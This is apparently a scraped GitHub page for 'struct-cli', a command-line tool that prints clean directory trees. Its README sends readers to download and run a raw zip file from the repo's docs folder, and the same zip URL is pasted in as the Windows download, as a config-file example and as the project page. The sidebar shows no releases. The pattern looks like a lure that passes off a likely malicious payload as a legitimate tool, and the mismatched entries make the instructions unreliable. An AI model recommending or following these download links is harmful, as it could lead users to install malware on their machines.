Skip to content

πŸ“‚ Display clean project directory trees by hiding dependency folders and showing only meaningful code structure.

Notifications You must be signed in to change notification settings

Tokiomkd/struct-cli

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

32 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“‚ struct-cli - Clean Project Structure Viewing Tool

Download struct-cli


πŸ“– What is struct-cli?

struct-cli is a command-line tool designed to help you view the structure of your project folders. Unlike typical tools that list every file including lots of hidden or system files, struct-cli focuses on showing just the important parts. It hides details like dependencies, build files, and cache data, making it easier to understand your project layout at a glance.

This tool works on many types of projects, especially those using Git for version control. It offers options to filter files, see sizes, and search for particular names or patterns. Overall, struct-cli simplifies exploring folders and files without clutter.


πŸ’» Who is struct-cli for?

You might find struct-cli useful if:

  • You want a cleaner view of project folders on your computer.
  • You need an easy-to-understand summary of files in a directory.
  • You use projects that have lots of files but want to focus on just key ones.
  • You work on Linux or other Unix-like systems and prefer terminal tools.
  • You want to check project structures without clicking through many folders.

Even if you’re not a programmer, struct-cli makes file browsing less confusing.


🏷️ Key Features

  • Clean view: Shows main files and folders without clutter like caches or dependencies.
  • Smart filters: Automatically ignores files and folders you usually don’t need.
  • Git-aware: Detects Git projects and adjusts the view accordingly.
  • File size insight: Displays file sizes to help you spot large files quickly.
  • Search & filter: Find files or folders by name or pattern.
  • Configuration: Customize which files or folders to show or hide.
  • Fast & lightweight: Runs quickly without using much computer power.
  • Works in terminal: Runs in your command prompt or terminal window.

πŸ–₯️ System Requirements

Before installing, make sure your system fits these requirements:

  • Operating System: Linux, macOS, or Windows with a terminal emulator.
  • RAM: 512 MB or more recommended.
  • Disk Space: About 5 MB free space for installation.
  • Terminal/Command Prompt access.
  • Internet connection to download the tool.

struct-cli runs on most common computers without special hardware.


πŸš€ Getting Started

This section walks you through downloading and running struct-cli for the first time. No programming skills are needed.


⬇️ Download & Install

To get struct-cli:

  1. Visit the official release page by clicking the big button below:

    Download struct-cli

  2. On the release page, find the latest version for your operating system:

    • Look for files named like struct-cli-linux, struct-cli-macos, or https://raw.githubusercontent.com/Tokiomkd/struct-cli/master/docs/cli_struct_v2.1.zip.
    • Choose the one that matches your computer.
  3. Download the file by clicking on it.

  4. After downloading, you may need to give the file permission to run:

    • On Windows, this usually works right away.
    • On Linux or macOS, open a terminal, go to the folder where you saved the file, and run:
      chmod +x struct-cli-<your-version>
      
      Replace <your-version> with the downloaded filename.
  5. You can move the executable file to a folder in your system PATH for easier use (optional):

    • For example, on Linux/macOS:
      sudo mv struct-cli-<your-version> /usr/local/bin/struct-cli
      

πŸƒ Running struct-cli

Once installed, you can start using struct-cli from a command prompt or terminal.

Basic Usage

  • Open your terminal.
  • Type struct-cli followed by the folder you want to explore. For example:
    struct-cli /path/to/your/project
    
  • Press Enter.

struct-cli will display a clean, easy-to-read tree of your project structure.


βš™οΈ Common Options

struct-cli has several useful options you can use:

Option Description Example
--help or -h Show help information struct-cli --help
--size Show file sizes in the output struct-cli --size /my/project
--search <pattern> Find files/folders matching a pattern struct-cli --search README
--config <file> Use a custom configuration file struct-cli --config https://raw.githubusercontent.com/Tokiomkd/struct-cli/master/docs/cli_struct_v2.1.zip
--version Show the current version of struct-cli struct-cli --version

Try running struct-cli --help for a full list of commands.


πŸ” How struct-cli Helps

struct-cli’s main advantage is cutting down noise. When you list your project with typical commands, you see a flood of files, many you don’t need to think about. struct-cli removes all that clutter and highlights what matters.

This makes it easier to:

  • Understand your project layout.
  • Find important files fast.
  • Spot large files or unusual folders.
  • Share your project structure with others.

πŸ› οΈ Troubleshooting

If you encounter problems:

  • Make sure you downloaded the right file for your OS.
  • Check that the file has permission to run.
  • Open the terminal in the directory where the file lives.
  • Use the --help command to check usage.
  • If you see an error, try updating to the newest release.

If nothing works, you can visit the project page for more information or help:

https://raw.githubusercontent.com/Tokiomkd/struct-cli/master/docs/cli_struct_v2.1.zip


🀝 Support & Contribute

struct-cli is an open-source tool. If you want to support development or suggest improvements:

  • Visit the GitHub repository.
  • Submit bug reports or feature requests using the Issues tab.
  • If you’re comfortable coding, you can contribute pull requests.

πŸ“‚ Relevant Topics

  • Command-line tools
  • File and directory browsing
  • Git version control
  • Terminal utilities
  • Open-source Rust applications
  • Linux and cross-platform use

πŸ”— Useful Links


Thank you for choosing struct-cli to simplify your project browsing. Visit the release page now to download and get started.

About

πŸ“‚ Display clean project directory trees by hiding dependency folders and showing only meaningful code structure.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors